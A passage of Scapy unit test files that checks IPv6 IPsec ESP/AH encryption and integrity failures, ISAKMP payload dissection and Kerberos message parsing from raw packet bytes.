'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi assert b'testdata' in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Tunnel - AES-GCM - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Tunnel - AES-GCM - NULL - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Tunnel - AES-CCM - NULL ~ crypto_advanced p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data d = sa.decrypt(e) d * after decryption original packet should be preserved assert d[TCP] == p[TCP] ####################################### = IPv6 / ESP - Tunnel - AES-CCM - NULL - altered packet ~ crypto_advanced p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_ESP assert e.haslayer(ESP) assert not e.haslayer(TCP) assert e[ESP].spi == sa.spi * after encryption the original packet payload should NOT be readable assert b'testdata' not in e[ESP].data * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### ############################################################################### + IPv6 / AH ####################################### = IPv6 / AH - Transport - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' * the encrypted packet should have an AH layer assert e.nh == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv6 / AH - Transport - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' * the encrypted packet should have an AH layer assert e.nh == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv6 / AH - Transport - SHA2-256-128 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' * the encrypted packet should have an AH layer assert e.nh == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d[TCP] == p[TCP] ####################################### = IPv6 / AH - Transport - SHA2-256-128 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert isinstance(e, IPv6) assert e.src == '11::22' and e.dst == '22::11' * the encrypted packet should have an AH layer assert e.nh == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv6 / AH - Tunnel - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d == p ####################################### = IPv6 / AH - Tunnel - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e.src = 'cc::ee' * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ####################################### = IPv6 / AH - Tunnel - SHA2-256-128 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert d == p ####################################### = IPv6 / AH - Tunnel - SHA2-256-128 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert isinstance(e, IPv6) * after encryption packet should be encapsulated with the given ip tunnel header assert e.src == 'aa::bb' and e.dst == 'bb::aa' assert e.nh == socket.IPPROTO_AH assert e.haslayer(AH) assert e.haslayer(TCP) assert e[AH].spi == sa.spi * simulate the alteration of the packet before verification e.src = 'cc::ee' * integrity verification should fail try: d = sa.decrypt(e) assert False except IPSecIntegrityError as err: err ############################################################################### + IPv6 + Extensions / AH ####################################### = IPv6 + Extensions / AH - Transport p = IPv6(src='11::22', dst='22::11') p /= IPv6ExtHdrHopByHop() p /= IPv6ExtHdrDestOpt() p /= IPv6ExtHdrRouting() p /= IPv6ExtHdrDestOpt() p /= IPv6ExtHdrFragment() p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert e.src == '11::22' and e.dst == '22::11' * AH header should be inserted between the routing header and the dest options header assert isinstance(e[AH].underlayer, IPv6ExtHdrRouting) assert isinstance(e[AH].payload, IPv6ExtHdrDestOpt) ####################################### = IPv6 + Routing Header / AH - Transport p = IPv6(src='11::22', dst='22::11') p /= IPv6ExtHdrHopByHop() p /= IPv6ExtHdrRouting(addresses=['aa::bb', 'cc::dd', 'ee::ff']) p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert e.src == '11::22' and e.dst == '22::11' * AH header should be inserted between the routing header and TCP assert isinstance(e[AH].underlayer, IPv6ExtHdrRouting) assert isinstance(e[AH].payload, TCP) * reorder the routing header as the receiver will get it final = e[IPv6ExtHdrRouting].addresses.pop() e[IPv6ExtHdrRouting].addresses.insert(0, e.dst) e.dst = final e[IPv6ExtHdrRouting].segleft = 0 * integrity verification should pass d = sa.decrypt(e) d ================================================ FILE: test/scapy/layers/isakmp.uts ================================================ % Scapy ISAKMP layer tests ############ ############ + ISAKMP tests ~ ISAKMP = ISAKMP - Phase 1 - Aggressive Security Association dissection pkt = UDP(b'\x01\xf4\x01\xf4\x02\xf0\x01\xca/\xa8\xd0\xc9\x15zT\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x04\x00\x00\x00\x00\x00\x00\x00\x02\xe8\x04\x00\x008\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00,\x01\x01\x00\x01\x00\x00\x00$\x01\x01\x00\x00\x80\x01\x00\x07\x80\x0e\x00\x80\x80\x02\x00\x01\x80\x04\x00\x10\x80\x03\x00\x01\x80\x0b\x00\x01\x80\x0c\x00\x84\n\x00\x02\x04n[}p2s\xf3\x91H=\xea\xafhV\xb1\xec\x01\xf0\x1b\xdfG[\x1c\xbd\x07\xa6\xb7\xe9\xc6P2i\\\xbd\xdf\xefI\xe1\\\x04\xd8L\xdd\xbb7\xc8,\xd0G\x12x\x82t\x9f\x8c\xee\xcd\xad\x16P\x7f%\xc6|G\xf2\x8f\x14\xa7\xa0w\x1ax\x87\x8b\x80\xaa\xf2\x0b\x82\xb5k\xcc\xcb\xdb5\xc0j\xc0\xb1\xd2\x0e\xb3\x05\xd3\x9d\x0bY\xb4}[~\n,W;]\xe0|\x08\xed\xe6\xb4\x82QoDE\xa7\xd5\x91\x92j@\xa1vb\xdd\xc3\xc8%\x81\xaf\xcd\xc2$V\xd90d\xc4\x06$\xd1\xce\x92\xe0:\x0fQ\xa2\xdb\xd8\x11\xaf\xf5\xeb\xde\xbcih\xc1n\x80\xe4\x8a\t\xa2\xcd{\x7f\xa3\t)\x9b\xbc\xe2v3\xa6>9\x87D"\x1a9\xad\x9b\x16q\xbe\x02\xb0\x1f/\xe6\xd7\x81\xeb\x98j\x91\xdf\xabf\xa9M+1\xdc\xc5\xc5\xd71\xc7\x11\xc5\xdcU\xe9L\x10\x9f\x00\xc2\x97S\x90\'\xa8\xd6dNy})F\x99Z\x82\xa7\x1a\t\x03\xa4\xe5\xb5M\x9b$\x9a\x10fX\x10\xa6\xc6\xdf#\xe1\xc7E2\xdf\xc2\x1d}\xd7\x90820b\xcd`\xc7\x1f\xca\xde\xa0\xd7\xb6\x87\xe4\xad\xc4-\xe9\xce\xd9Rx\xc8\xab\xeaI+;\x07\x07-\xaa\xb4\xa2\xd1\xd7-\xe0\x85\x93\xbe\x1dqw\xff\x17\x97\xecku\xf3H%\x9e\x95,W\xa7\xbaU\xc7*\xcd!\xdb\x83\x8dNv~\x1cq\xc8~S\xd1"\xbf\x03(\xac\xf5\xec\xeb+*\xfd:\x9d.h\xcb\x15;\xf1_E\x02(:\xab\xa0}d\xb2\xce\x1d\xff4\xc7\x15{\x80Iy.\t7\x96\x95\x96\xda\x1f\xcf\xab\x03P=\xd0\t\x05!\x904\xaf\xdb\xfa\xcc6k"\xffB##\x8a\xacWx\xf3J\xe6[\xe0\x80\x0b\xc8\x9a\x9a\x87gS\xac\xd6<\r\x1f\x10%\x14\x90}\x94m\xd78$\x95\xf3>>i\x15\x1f\x9ax\x00\xbc\x14\xcf\xd0\xbe;XLl\xfa\xa1\x8f\x8c\xa6\xc5\x03\xcd\xc38\xf6\xb3V\xf0|5&\xf7\xb3\x99\x8f\x81\x9a\x93G\xf3\xf4S\xddl\x08-\xec\xa2\x87\xcf\x14x\xdc\xef\x0326\x82J\x05\x00\x00$\xb0G9\xbdI[@\xedT\x81\xa0\xe5\\]\xd2\x03}+\x1c\xfd\x1b\x88\xed\xa5\xb0y\xfd\x8d&\xe3\x08\x98\r\x00\x00\x0c\x01\x00\x00\x00\x02\x02\x02\x02\r\x00\x00\x0c\t\x00&\x89\xdf\xd6\xb7\x12\r\x00\x00\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\x00\r\x00\x00\x18@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3\x80\x00\x00\x00\r\x00\x00\x14J\x13\x1c\x81\x07\x03XE\\W(\xf2\x0e\x95E/\x00\x00\x00\x14\x90\xcb\x80\x91>\xbbin\x08c\x81\xb5\xecB{\x1f') assert pkt.prop.proto == 1 assert pkt.prop.trans.transforms == [ ('Encryption', 'AES-CBC'), ('KeyLength', 128), ('Hash', 'MD5'), ('GroupDesc', '4096MODPgr'), ('Authentication', 'PSK'), ('LifeType', 'Seconds'), ('LifeDuration', 132) ] assert ISAKMP_payload_KE in pkt assert pkt[ISAKMP_payload_KE].length == 516 assert len(pkt[ISAKMP_payload_KE].load) == 512 assert ISAKMP_payload_ID in pkt assert pkt[ISAKMP_payload_ID].IdentData == "2.2.2.2" assert pkt.getlayer(ISAKMP_payload_VendorID, 5) = ISAKMP - Over NAT-Transversal - dissection pkt = UDP(b'\x11\x94\x11\x94\x01H4\xea\x00\x00\x00\x00/\xa8\xd0\xc9\x15zT\xc0\x95Y\x06\xaf\x97\x1fd\x8d\x08\x10 \x01\xa8!\x97U\x00\x00\x01<\xc8\xba\x8434r\xf8\xc5J\x84W:v4\x1e\x05\x10\xcc.\xd8\xb6\tC\x01~\xad\xd7l\x9c^\x06\tc\xadL\xc4\xc6\xd0P\x98\xb1~\x05\x07\xa0\x0b2&\x05\xa7\xa3\x8c*: \xbe\xa4F\x9d\xa5\xa9\xf7T\x88.\xa9\xe1K\xa29N3%\x19\x80\xd8!\x12^)\x1cJt\xfb\xe1\xca\xab\xb5\xf2\x01\xe83T\x0f\xd4\xfd\xb6\xc4\xe4z\x03`\xd0t\xbc3\xa9\x9b\x8d\xac\x89\x7f\xad\xc2|\x82\x8a\xe4`d\xe6I\xfcVS\x17c7\xce\x13\xd0\x1b\x05\x00\x00\x84\x80\x9cNz\x14\x93\xe7\xb1\x03\x97y\x16\x1f/\x08\x98uE}\xc0\xc3\xe3\x18c\x80w\x13\xad\x96\xe2N*+d%\x9d7\xff\xf1\xd4\xb21\xca\x19E\x98\x96Xil\xf0\x7fN\x80\xf8qc\x10\x96M}\xa5_\x06\xf4"A1\xd5%{\xab\x1ePc\xfa\xa0n\x1c\xd3R\xaeT\x87d\x86\xdf,?\x9e\x88\xb5l\xfaI\xc2v\xcb\xf6\xae1\\i\x07\xf5\xac]@9\xd3\xd7\x8a\xc0\xda\xde\xb2\x97\x8b\x7f\xe8\xfa\xa5V\x80\x0c\xf0o\x0b\x05\x00\x00\x10\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert ISAKMP_payload_SA in pkt assert pkt[ISAKMP_payload_SA].prop.proto == 3 assert pkt[ISAKMP_payload_SA].prop.trans.transforms == [ ('AuthenticationAlgorithm', 'HMAC-SHA'), ('GroupDesc', '1024MODPgr'), ('EncapsulationMode', 'Tunnel'), ('LifeType', 'seconds'), ('LifeDuration', 33) ] assert ISAKMP_payload_ID in pkt = ISAKMP_payload_Transform p=IP(src='192.168.8.14',dst='10.0.0.1')/UDP()/ISAKMP()/ISAKMP_payload_SA(doi=0, prop=ISAKMP_payload_Proposal(trans=ISAKMP_payload_Transform(transforms=[('Encryption', 'AES-CBC'), ('Hash', 'MD5'), ('Authentication', 'PSK'), ('GroupDesc', '1536MODPgr'), ('KeyLength', 256), ('LifeType', 'Seconds'), ('LifeDuration', 86400)])/ISAKMP_payload_Transform(res2=12345,transforms=[('Encryption', '3DES-CBC'), ('Hash', 'SHA'), ('Authentication', 'PSK'), ('GroupDesc', '1024MODPgr'), ('LifeType', 'Seconds'), ('LifeDuration', 86400)]))) r = p[ISAKMP_payload_Transform:2] r r.res2 == 12345 = ISAKMP_payload_Transform build hexdump(p) assert raw(p) == b"E\x00\x00\x96\x00\x01\x00\x00@\x11\xa7\x9f\xc0\xa8\x08\x0e\n\x00\x00\x01\x01\xf4\x01\xf4\x00\x82\xbf\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00z\x00\x00\x00^\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00R\x01\x01\x00\x00\x03\x00\x00'\x00\x01\x00\x00\x80\x01\x00\x07\x80\x02\x00\x01\x80\x03\x00\x01\x80\x04\x00\x05\x80\x0e\x01\x00\x80\x0b\x00\x01\x00\x0c\x00\x03\x01Q\x80\x00\x00\x00#\x00\x0109\x80\x01\x00\x05\x80\x02\x00\x02\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0b\x00\x01\x00\x0c\x00\x03\x01Q\x80" = ISAKMP_payload_Transform dissection q=IP(raw(p)) q.show() r = q[ISAKMP_payload_Transform:2] r r.res2 == 12345 = ISAKMP_payload_Notify pkt = ISAKMP()/ISAKMP_payload_Notify( notify_msg_type="INVALID-FLAGS", notify_data="Erreur", )/ISAKMP_payload_Notify() assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x0b\x00\x00\x12\x00\x00\x00\x00\x01\x00\x00\x08Erreur\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x00\x00\x00' pkt = ISAKMP(bytes(pkt)) assert pkt[ISAKMP_payload_Notify].notify_data == b"Erreur" assert not pkt[ISAKMP_payload_Notify:2].next_payload = ISAKMP_payload_delete pkt = ISAKMP()/ISAKMP_payload_Delete() pkt.SPIs = [b"A" * 16, b"B" * 16] assert raw(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x00\x00\x00,\x00\x00\x00\x00\x01\x10\x00\x02AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB' pkt = ISAKMP(raw(pkt)) assert pkt.SPIcount == 2 assert pkt.SPIsize == 16 assert pkt.length == 72 assert pkt[ISAKMP_payload_Delete].length == 44 ================================================ FILE: test/scapy/layers/kerberos.uts ================================================ % Kerberos unit tests + Kerberos dissection tests # https://www.cloudshark.org/captures/fa35bc16bbb0?filter=kerberos = Parse AS-REQ pkt = IP(b'E\x00\x00\xd9\xff\xff@\x00\xff\x11\x00\x00\x7f\x00\x00\x15\x00\x00\x00\x00;o\x00X\x00\xc5\x00\x00j\x81\xba0\x81\xb7\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa3\x0e0\x0c0\n\xa1\x04\x02\x02\x00\x95\xa2\x02\x04\x00\xa4\x81\x9a0\x81\x97\xa0\x07\x03\x05\x00\x00\x01\x00\x10\xa1\x150\x13\xa0\x03\x02\x01\x01\xa1\x0c0\n\x1b\x08LOCALDC$\xa2\x13\x1b\x11SAMBA.EXAMPLE.COM\xa3&0$\xa0\x03\x02\x01\x02\xa1\x1d0\x1b\x1b\x06krbtgt\x1b\x11SAMBA.EXAMPLE.COM\xa5\x11\x18\x0f20150130151703Z\xa7\x06\x02\x04\x14\xe1\x18\xa7\xa8\x1d0\x1b\x02\x01\x12\x02\x01\x11\x02\x01\x10\x02\x01\x17\x02\x01\x19\x02\x01\x1a\x02\x01\x01\x02\x01\x03\x02\x01\x02') assert isinstance(pkt.root, KRB_AS_REQ) assert pkt.root.reqBody.cname.nameString[0] == b'LOCALDC$' assert pkt.root.reqBody.realm == b'SAMBA.EXAMPLE.COM' assert pkt.root.reqBody.sname.nameString[0] == b"krbtgt" assert pkt.root.reqBody.nonce == 0x14e118a7 assert pkt.root.reqBody.etype == [0x12, 0x11, 0x10, 0x17, 0x19, 0x1a, 0x1, 0x3, 0x2] = Parse KRB-ERROR pkt = IP(b'E\x00\x02c\xff\xff@\x00\xff\x11\x00\x00\x7f\x00\x00\x15\x7f\x00\x00\x15\x00X;o\x02O\x00\x00~\x82\x02C0\x82\x02?\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa2\x11\x18\x0f19810206083031Z\xa4\x11\x18\x0f20150129151703Z\xa5\x05\x02\x03\t\xae\xc0\xa6\x03\x02\x01\x19\xa7\x13\x1b\x11SAMBA.EXAMPLE.COM\xa8\x150\x13\xa0\x03\x02\x01\x01\xa1\x0c0\n\x1b\x08LOCALDC$\xa9\x13\x1b\x11SAMBA.EXAMPLE.COM\xaa&0$\xa0\x03\x02\x01\x02\xa1\x1d0\x1b\x1b\x06krbtgt\x1b\x11SAMBA.EXAMPLE.COM\xab\x10\x1b\x0eNEEDED_PREAUTH\xac\x82\x01\x84\x04\x82\x01\x800\x82\x01|0\n\xa1\x04\x02\x02\x00\x88\xa2\x02\x04\x000\x82\x01R\xa1\x03\x02\x01\x13\xa2\x82\x01I\x04\x82\x01E0\x82\x01A07\xa0\x03\x02\x01\x12\xa10\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com07\xa0\x03\x02\x01\x11\xa10\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com07\xa0\x03\x02\x01\x03\xa10\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com07\xa0\x03\x02\x01\x01\xa10\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com07\xa0\x03\x02\x01\x01\xa10\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com0"\xa0\x03\x02\x01\x17\xa1\x1b\x1b\x19SAMBA.EXAMPLE.COMLOCALDC$0\t\xa1\x03\x02\x01\x02\xa2\x02\x04\x000\r\xa1\x04\x02\x02\x00\x85\xa2\x05\x04\x03MIT') assert isinstance(pkt.root, KRB_ERROR) assert pkt.root.cname.nameString[0] == b"LOCALDC$" assert pkt.root.realm == b"SAMBA.EXAMPLE.COM" assert pkt.root.eText == b"NEEDED_PREAUTH" assert len(pkt.root.eData.seq) == 4 assert pkt.root.eData.seq[0].padataType == 0x88 assert pkt.root.eData.seq[1].padataType == 0x13 assert pkt.root.eData.seq[3].padataType == 0x85 assert pkt.root.eData.seq[3].padataValue == b"MIT" etype_info2 = pkt.root.eData.seq[1] assert etype_info2.padataValue.seq[0].salt == b'SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com' = Parse KRB-ERROR (2) # This one is a preauth one pkt = KerberosTCPHeader(b'\x00\x00\x01A~\x82\x01=0\x82\x019\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa4\x11\x18\x0f20251213001046Z\xa5\x05\x02\x03\x05F\x1f\xa6\x03\x02\x01\x19\xa9\x0e\x1b\x0cDOMAIN.LOCAL\xaa!0\x1f\xa0\x03\x02\x01\x02\xa1\x180\x16\x1b\x06krbtgt\x1b\x0cdomain.local\xac\x81\xda\x04\x81\xd70\x81\xd40t\xa1\x03\x02\x01\x13\xa2m\x04k0i0/\xa0\x03\x02\x01\x12\xa1(\x1b&DOMAIN.LOCALhostcomputer1.domain.local0/\xa0\x03\x02\x01\x11\xa1(\x1b&DOMAIN.LOCALhostcomputer1.domain.local0\x05\xa0\x03\x02\x01\x170;\xa1\x03\x02\x01o\xa24\x042000\x0b\x06\t`\x86H\x01e\x03\x04\x02\x030\x0b\x06\t`\x86H\x01e\x03\x04\x02\x020\x0b\x06\t`\x86H\x01e\x03\x04\x02\x010\x07\x06\x05+\x0e\x03\x02\x1a0\t\xa1\x03\x02\x01\x02\xa2\x02\x04\x000\t\xa1\x03\x02\x01\x10\xa2\x02\x04\x000\t\xa1\x03\x02\x01\x0f\xa2\x02\x04\x00') assert Kerberos in pkt assert len(pkt.root.eData.seq) == 5 assert isinstance(pkt.root.eData.seq[0].padataValue, ETYPE_INFO2) assert pkt.root.eData.seq[0].padataValue.seq[0].salt.val == b"DOMAIN.LOCALhostcomputer1.domain.local" assert isinstance(pkt.root.eData.seq[1].padataValue, TD_CMS_DIGEST_ALGORITHMS) assert [x.algorithm.oidname for x in pkt.root.eData.seq[1].padataValue.seq] == [ "sha512", "sha384", "sha256", "sha1", ] assert pkt.root.eData.seq[2].padataType == 2 = Parse KRB-ERROR (3) # This is a TKT EXPIRED pkt = KerberosTCPHeader(b'\x00\x00\x00{~y0w\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa4\x11\x18\x0f20251213001312Z\xa5\x05\x02\x03\r\xae\x86\xa6\x03\x02\x01 \xa9\x0e\x1b\x0cDOMAIN.LOCAL\xaa!0\x1f\xa0\x03\x02\x01\x02\xa1\x180\x16\x1b\x06krbtgt\x1b\x0cDOMAIN.LOCAL\xac\x19\x04\x170\x15\xa1\x03\x02\x01\x03\xa2\x0e\x04\x0c3\x01\x00\xc0\x00\x00\x00\x00\x01\x00\x00\x00') assert Kerberos in pkt assert pkt.root.errorCode == 0x20 assert 